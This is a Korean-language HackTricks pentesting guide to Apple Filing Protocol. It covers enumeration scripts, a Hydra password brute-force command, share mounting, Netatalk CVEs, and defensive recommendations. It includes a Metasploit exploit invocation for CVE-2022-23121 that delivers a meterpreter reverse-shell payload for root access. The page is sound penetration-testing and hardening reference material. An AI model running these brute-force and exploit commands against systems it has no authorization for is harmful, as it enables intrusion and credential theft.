548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Apple Filing Protocol (AFP)는 한때 AppleTalk Filing Protocol로 알려졌던 전문 네트워크 프로토콜로, Apple File Service (AFS)에 포함되어 있습니다. 이 프로토콜은 macOS 및 클래식 Mac OS를 위한 파일 서비스를 제공하도록 설계되었습니다. AFP는 유니코드 파일 이름, POSIX 스타일 및 ACL 권한, 리소스 포크, 명명된 확장 속성 및 정교한 파일 잠금 메커니즘을 지원하는 점에서 두드러집니다.

비록 AFP는 현대 macOS 릴리스에서 SMB에 의해 대체되었지만 (OS X 10.9부터 SMB가 기본값), 여전히 다음과 같은 환경에서 발견됩니다:

  • 레거시 macOS / Mac OS 9 환경
  • 오픈 소스 Netatalk 데몬을 포함하는 NAS 장치 (QNAP, Synology, Western Digital, TrueNAS…)
  • Time-Machine-over-AFP가 여전히 활성화된 혼합 OS 네트워크

기본 TCP 포트: 548 (TCP / DSI를 통한 AFP)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

Quick banner / server info

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

유용한 AFP NSE 스크립트:

스크립트기능
afp-ls사용 가능한 AFP 볼륨 및 파일 목록 표시
afp-bruteAFP 로그인에 대한 비밀번호 무차별 대입
afp-serverinfo서버 이름, 기계 유형, AFP 버전, 지원되는 UAM 등 덤프
afp-showmountACL과 함께 공유 목록 표시
afp-path-vuln디렉터리 탐색, CVE-2010-0533 감지(및 악용 가능)

NSE 무차별 대입 스크립트는 더 많은 제어가 필요한 경우 Hydra/Medusa와 결합할 수 있습니다:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

공유와 상호작용

macOS

bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

리눅스 (대부분의 배포판에 패키지된 afpfs-ng 사용)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

한 번 마운트되면, 고전 Mac 리소스 포크는 숨겨진 ._* AppleDouble 파일로 저장된다는 것을 기억하세요. 이러한 파일은 DFIR 도구가 놓치는 흥미로운 메타데이터를 종종 포함하고 있습니다.


일반적인 취약점 및 악용

Netatalk 인증되지 않은 RCE 체인 (2022)

여러 NAS 공급업체가 Netatalk ≤3.1.12를 배포했습니다. parse_entries()에서 경계 검사 부족으로 인해 공격자가 악의적인 AppleDouble 헤더를 작성하고 인증 전에 원격 루트를 얻을 수 있습니다 (CVSS 9.8 – CVE-2022-23121). Western-Digital PR4100을 악용하는 PoC와 함께 NCC Group의 전체 작성물이 제공됩니다.

Metasploit (>= 6.3)는 DSI WRITE를 통해 페이로드를 전달하는 모듈 exploit/linux/netatalk/parse_entries를 포함하고 있습니다.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

대상 시스템이 영향을 받는 QNAP/Synology 펌웨어를 실행하는 경우, 성공적인 익스플로잇은 root로서의 쉘을 제공합니다.

Netatalk OpenSession 힙 오버플로우 (2018)

구버전 Netatalk (3.0.0 - 3.1.11)은 DSI OpenSession 핸들러에서의 경계 초과 쓰기에 취약하여 인증되지 않은 코드 실행이 가능합니다 (CVE-2018-1160). Tenable Research에 의해 자세한 분석과 PoC가 발표되었습니다.

기타 주목할 만한 문제

  • CVE-2022-22995 – AppleDouble v2가 활성화된 경우 (3.1.0 - 3.1.17) 임의 파일 쓰기 / RCE로 이어지는 심볼릭 링크 리디렉션.
  • CVE-2010-0533 – Apple Mac OS X 10.6 AFP에서의 디렉토리 탐색 ( afp-path-vuln.nse에 의해 탐지됨).
  • **Netatalk 4.x (2024)**에서 여러 메모리 안전성 버그가 수정되었습니다 – 개별 CVE를 패치하기보다는 업그레이드를 권장합니다.

방어 권장 사항

  1. AFP를 비활성화 하십시오. 엄격히 필요하지 않은 경우 – 대신 SMB3 또는 NFS를 사용하십시오.
  2. AFP를 유지해야 하는 경우, Netatalk를 ≥ 3.1.18 또는 4.x로 업그레이드 하거나 2022/2023/2024 패치를 백포트한 공급업체 펌웨어를 적용하십시오.
  3. 강력한 UAM(예: DHX2)을 시행하고, 평문 및 게스트 로그인을 비활성화하십시오.
  4. TCP 548을 신뢰할 수 있는 서브넷으로 제한하고, 원격으로 노출될 때 AFP를 VPN 내에 감싸십시오.
  5. 주기적으로 nmap -p 548 --script afp-*로 CI/CD에서 스캔하여 불법 / 다운그레이드된 장비를 탐지하십시오.

Brute-Force

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기